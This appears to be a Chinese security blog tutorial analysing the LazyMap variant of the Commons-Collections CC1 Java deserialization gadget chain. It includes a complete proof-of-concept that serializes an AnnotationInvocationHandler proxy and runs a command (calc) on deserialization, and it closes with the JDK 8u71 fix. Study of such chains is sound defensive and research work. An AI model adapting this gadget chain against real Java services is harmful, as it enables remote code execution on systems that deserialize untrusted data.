本文将分析 LazyMap 版的 CC1 反序列化利用链。关于前置知识与环境搭建,已在上一篇文章 TransformedMap版CC1链 中进行详细讲解,本篇不再赘述。相较于 TransformedMap 版本,LazyMap 的利用链整体结构变化不大,但在实现细节上稍有差异,它出自ysoserial,下面直接进入核心分析。

LazyMap 版的 CC1 反序列化利用链分析

链尾InvokerTransformer类

尾部同样还是InvokerTransformer,可以利用反射执行命令,执行命令详情还是在上一篇文章。代码如下:

1
2
3
4

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);

我们需要继续往前找,哪个类调用了transform()方法,还是同样操作

除了TransformedMap类,还发现LazyMap类中的get()方法调用了transform()方法,可以看到这就是该链的变化点。

转到LazyMap类

LazyMap类

跳转到get()方法实现类,看到了factory.transform(),因此后续factory传入invokerTransformer并调用get()方法就可以执行命令,但是需要进入这个if,它判断map中是否存在这个key,如果不存在就会进入if里面。

TransformedMap与LazyMap的区别:TransformedMap是在put时传入key/value,而LazyMap是在get key时延迟创建 value

继续看一下factory是什么,在该类中搜索一下

发现factory参数和LazyMap构造方法的作用域都为protected,无法直接实例化。

同时发现一个静态方法,它会接受一个Transformer类型的factory并实例化LazyMap;该静态方法解决了参数受保护无法实例化LazyMap的问题。

写一下POC把LazyMap类和InvokerTransformer类串起来,看看能不能执行命令

成功弹计算器说明已经成功把这两个类串了起来

半成品POC

代码的解读已经写在了注释中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package CC1demo;  

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class LazyMapCCtest {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
//反射调用InvokerTransformer执行命令
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});


HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap, invokerTransformer);//利用静态方法实例化LazyMap并传入factory参数
Class<LazyMap> lazyMapClass = LazyMap.class;
Method method = lazyMapClass.getDeclaredMethod("get", Object.class); //获取LazyMap类的get()方法
method.setAccessible(true);
method.invoke(decoratemap,runtime); // 在LazyMap实例(decoratemap)上调用该方法并给get方法传入参数runtime.class
}
}

因为半成品poc的get()方法是我们主动调用,目的是为了测试这两个类能不能串起来。接下来就该继续往前找,看看哪个类可以调用get()方法,继续右键查找用法会发现调用get()方法的类太多了,看一下ysoserial的payload的类是AnnotationInvocationHandler

AnnotationInvocationHandler类

在该类的invoke()方法中调用了get()方法

找一下memberValues是什么

与上一篇相同,还是该类的构造方法,接收一个Class类型的type注解和Map类型memberValues

因此后续写POC时需要反射调用一个该类的构造方法以便把memberValues替换成LazyMap。

invoke方法中的两个if

invoke方法要调用到memberValues.get()还要绕过两个if

第一个if
第一个if是通过equals()方法判断invoke接收的method参数是不是与字符”equals”相等,因此只要不是就可以绕过这个if。

第二个if
第二个if判断参数长度与0的比较,paraTypes是方法的参数,如果参数长度为零也就是无参方法就可以绕过第二个if。

因此后续的需要一个无参方法才能绕过两个if从而执行get()方法

头部AnnotationInvocationHandler类

两个类虽然是同一个,但是目的和调用顺序不同,因此这里分两步写,与上面做区分;既然上方的invoke()方法可以调用get()方法,那么就需要再找一个能够调用invoke()
的方法。

这个类做头部的原因还是因为它重写了readobject()方法同时还能够调用invoke()方法

动态代理介绍

先把动态代理理解了后续的链子就很容易理解。

接口代码源码

1
2
3
public interface HelloService {
void sayHello(String name);
}

接口的实现类源码

1
2
3
4
5
6
public class HelloServiceImpl implements HelloService {
@Override
public void sayHello(String name) {
System.out.println("Hello, " + name + "!");
}
}

我们可以通过接口HelloService来调用方法,而动态代理的作用就是可以不用写接口的实现类,直接用动态代理处理器来实现逻辑;当然,动态代理和接口实现类是可以共存的,可以通过代理增强已有的逻辑。我这里举例的是仅有接口和动态代理方便理解

动态代理拦截器源码

1
2
3
4
5
6
7
8
9
10
11
12


public class HelloInvocationHandler implements InvocationHandler {
private final HelloService target;
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("jjxxx");
//调用动态代理时,就会调用该类的invoke方法
return null;
}
}

动态代理demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Main {
public static void main(String[] args) {

// 创建动态代理对象
HelloService proxyInstance = (HelloService) Proxy.newProxyInstance(
realService.getClass().getClassLoader(),
new Class[]{HelloService.class},
new HelloInvocationHandler(realService)
);
// 调用代理对象方法(会触发 InvocationHandler 的 invoke)
proxyInstance.sayHello("Alice");
}
}

使用Proxy.newProxyInstance()创建动态代理,其中需要传入三个参数:
第一个参数:类加载器
第二个参数:要代理的接口
都三个参数:拦截器(动态代理处理器)

总结一下就是再调用要代理的接口的方法时,就会触发拦截器,执行拦截器中的invoke方法。正好符合我们需要调用invoke方法的需求。

正题

InvocationHandler是动态代理处理器,AnnotationInvocationHandler类继承了InvocationHandler,因此AnnotationInvocationHandler也可以作为动态代理处理器。

因此写POC时应该再加上一个动态代理,POC再加上之前用到的ConstantTransformer,ChainedTransformer辅助链。

POC

代码解读在注释中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class lazymaptest {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer );

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap);
//最后一行变化为把该实例强转为InvocationHandler,便于下方作为动态代理拦截器传入。上方其余部分不变就不再解读

//新增部分如下
//把动态代理强转成Map类型以便于作为AnnotationInvocationHandler的构造方法的参数传入
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
//实例化动态代理,这样就可以调用invocationHandler的invoke()的方法
Object o = constructor.newInstance(Override.class, proxyInstance);

serialize(o);
unserialize("1.bin");

}
//序列化和反序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}

运行后成功弹出计算器

流程图

建议多看看流程图,一些细节我都写在了上面。

总结

我在POC中没有写entrySet()的无参方法,它被调用是因为头部类被序列化时调用readobject(),方法中包含的一个memberValues.entrySet()方法也会被执行,走到该方法后,下一步就是头部类通过动态代理调用invoke()方法,从而走到if的判断并绕过它;走完if下一步就是memberValues.get(),memberValues就是decorate修饰过的LazyMap;这样就会调用LazyMap.get(),从而继续往后调用factory.transform(),factory是我们传入的chainedTransformer,这样就会循环调用chainedTransformer内的数组,第一个数组是ConstantTransformer(Runtime.class),因此不管传的key是什么都会返回Runtime.class,循环完就会执行命令。

修复

在 JDK 8u71 及后续版本中,官方对 AnnotationInvocationHandler 类进行了重要修改:移除了该类的 readObject() 方法中的 setValue 方法调用,导致基于 TransformedMap 的CC1利用链无法利用。同时,反序列化机制也不再通过 defaultReadObject 方法来恢复对象属性,这一改动进一步影响了 AnnotationInvocationHandler 类的行为(readobject获取属性的方法改变),使基于 LazyMap 的利用链也无法正常使用;当然,官方对其的修复不仅这些,但是上方的修复方法已经让CC1无法利用。

JDK版本的更新引出了不受jdk版本限制的利用链CC6,关于 CC6我将在后续继续分析。

参考链接

https://liaoxuefeng.com/books/java/reflection/proxy/index.html
https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/